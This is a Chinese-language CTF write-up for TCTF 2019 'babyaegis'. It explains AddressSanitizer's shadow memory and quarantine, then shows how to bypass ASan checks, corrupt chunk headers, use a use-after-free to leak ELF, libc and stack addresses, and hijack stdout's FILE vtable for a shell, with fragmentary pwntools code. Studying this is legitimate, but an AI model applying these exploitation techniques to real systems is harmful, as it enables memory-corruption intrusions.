比较有趣又能学到新知识的一题。
参考论文:
AddressSanitizer: A Fast Address Sanity Checker
0x00 简介
AddressSanitizer(ASan)是一个内存错误检测工具,主要能够检测内存的非法读写、UAF等。
ASan通过Shadow Byte来记录内存空间的状态,每8字节有9个状态,分别标记从低到高Good Byte的数量。全8字节无问题为0,前7~1字节无问题分别为7~1,全部有问题标记为-1。Shadow Byte的位置通过如下计算方式得到:
1 | Shadow = (Addr >> 3) + Offset |
64位时,Offset为0x7fff8000;32位时,Offset为0x20000000。使用的插桩代码如下:
1 | byte *shadow_address = MemToShadow(address); |
判断连续8字节是否可用:
1 | *a = NULL; // give a something... or b = *a |
N字节是否可用(N=1, 2, 4):
1 | char *shadow = (a >> 3) + Offset; |
ASan还具有一个特性,被释放的块不会马上被重复使用,有一个默认阈值256MB,当再被释放256MB的内存空间之后,之前被释放的内存才会被重用。
A use-after-free may not be detected if a large amount of memory has been allocated and deallocated between the “free“ and the following use.
Quarantine size (default: 256MB). This value controls the ability to find heap-use-after-free bugs (see Section 3.5). It does not affect performance
ASan中堆块的header:
1 | struct ChunkHeader { |
0x01 babyaegis
首先是secret()
函数:
1 | unsigned __int64 secret() |
可以往大于0x700000000000的地址处任意写一次’\x00’。另外在add_note()
函数中,会使得ID
和content
相连接上,导致update_note()
中的strlen()
后存在堆溢出。在delete_note()
中还存在USE-AFTER-FREE。
由于存在溢出,首先需要做的就是欺骗ASan使得我们可以溢出到下一个chunk的header。
1 | add(p, 0x10, 'sunichi!', 0x00ffffffffffffff) |
相关标记信息:
1 | SUMMARY: AddressSanitizer: heap-buffer-overflow (/pwn/tctf2019/online/aegis/aegis/aegis+0x983ab) |
在尝试的过程中发现,相关ASan代码只检查了数据写入的起始点是否可写,后续同一次操作则不会继续检查。在使用secret
修改之前,我们可以看到0x0c047fff8000处开始的8字节是:
1 | 0xc047fff8000: 0xfa 0xfa 0x00 0x00 0xfa 0xfa 0x00 0x00 |
如果0x0c047fff8004处的0xfa未被修改的话,我们将无法继续溢出。因此在这使用secret()
对0x0c047fff8004进行修改:
1 | 0xc047fff8000: 0xfa 0xfa 0x00 0x00 0x00 0xfa 0x00 0x00 |
接着就可以通过溢出修改下一个chunk的header了:
1 | content = 'a' * 0x10 + '\x02' + '\xff' * 2 + '\n' |
1 | Old header : |
1 | struct ChunkHeader { |
通过了解ASan chunk的结构,我们将下一个chunk也就是NOTE的NODE所在的chunk设置大小为0x10000000。释放NOTE[0](注意:这里释放0x10000000大小的块是为了满足ASan重用chunk的条件),并重新申请chunk和伪造NODE以后续USE-AFTER-FREE的利用,通过show_note()
泄漏elf基地址:
1 | delete(p, 0) |
1 | 0x55c729db3cc0: 0x0000602000000030 0x0000602000000010 |
利用alarm@got
泄漏glibc地址:
1 | update(p, 1, 'aa', 0xffffffffffffffff) |
利用__environ
泄漏栈地址:
1 | update(p, 1, p64(libc.symbols['__environ'])[:6] + '\n', cfi_check << 8) |
获取指向stdout@glibc
的指针:
1 | update(p, 1, p64(libc.symbols['stdout'])[:6] + '\n', (cfi_check) << 8) |
构造2.27下FILE(IO_jumps)
的利用:
1 | vtable = libc.address + 0x3E7FB0 - 0x10 - 8 * 5 |
修改stdout@glibc
的数据为上述payload的位置:
1 | p.sendlineafter('Choice: ', str(3)) |
接着触发输出拿到shell。
完整的exploit:
1 | from pwn import * |